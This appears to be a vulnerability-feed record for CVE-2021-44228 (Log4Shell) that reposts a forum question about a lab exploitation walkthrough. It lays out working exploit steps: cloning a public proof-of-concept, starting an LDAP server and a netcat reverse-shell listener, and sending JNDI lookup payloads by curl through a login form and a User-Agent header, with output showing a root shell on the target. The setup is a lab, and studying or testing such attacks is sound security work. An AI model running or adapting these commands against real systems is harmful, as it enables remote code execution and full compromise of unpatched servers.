{"uuid": "3c58d566-045e-4d28-8684-da1a9454f808", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-44228", "type": "exploited", "source": "https://t.me/hacking_Attack/47927", "content": "hacking: security in practice\nlog4j shell poc with User-Agent payload\n\n* Note: I found that log4j payload is not allowed to be written here in reddit, so I replace it with PAYLOADHEREkeyword. In short, PAYLOADHERE = jndi:ldap\n\nIf you want to see the full content, I've copied it to pastebin https://pastebin.com/Uge5Rk2HThis lab has been created based on the following vulnerable docker image for log4j:\n\nhttps://github.com/kozmer/log4j-shell-poc\n\n(go ahead and try it to reproduce this issue)\n\nLab setup\n\nInstall vulnerable docker application on TARGET and run it\nTARGET$ git clone https://github.com/kozmer/log4j-shell-poc TARGET$ cd log4j-shell-poc TARGET$ docker build -t log4j-shell-poc . TARGET$ docker run --network host log4j-shell-poc \nPrepare POC on TESTER\nTESTER:~$ git clone https://github.com/kozmer/log4j-shell-poc TESTER:~$ cd log4j-shell-poc TESTER:~$ pip install -r requirements.txt TESTER:~/log4j-shell-poc$ python3 poc.py --userip TESTER --webport 8000 --lport 9001 [!] CVE: CVE-2021-44228 [!] Github repo: https://github.com/kozmer/log4j-shell-poc [+] Exploit java class created success [+] Setting up LDAP server [+] Send me: ${PAYLOADHERE://TESTER:1389/a} [+] Starting Webserver on port 8000 http://0.0.0.0:8000 Listening on 0.0.0.0:1389 \nStart a netcat listener to accept reverse shell connection\nTESTER:~$ nc -lvnp 9001 \nUse curl/browser to send data back to the TESTER-1\nTESTER:~$ curl -d 'uname=${PAYLOADHERE://TESTER:1389/a}&password=' http://TARGET:8080/login \nCheck netcat again\nTESTER:~$ nc -lvnp 9001 listening on [any] 9001 ... connect to [TESTER] from (UNKNOWN) [TARGET] 36422 id uid=0(root) gid=0(root) groups=0(root) hostname TARGET \nTest completed successfully. However, instead of sending data to login form, I've decided to try again using different entry point which is via User-Agent.\n\nThis is my payload\nTESTER:~$ curl -H 'User-Agent: ${PAYLOADHERE://TESTER:1389/a}' http://TARGET:8080 .... \nHowever, I did not get any connection to my netcat listener via this way.\n\nWhat's wrong in this payload and how to fix it?\n\nsubmitted by /u/w0lfcat \n[link] [comments]\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-07T01:00:35.418367Z"}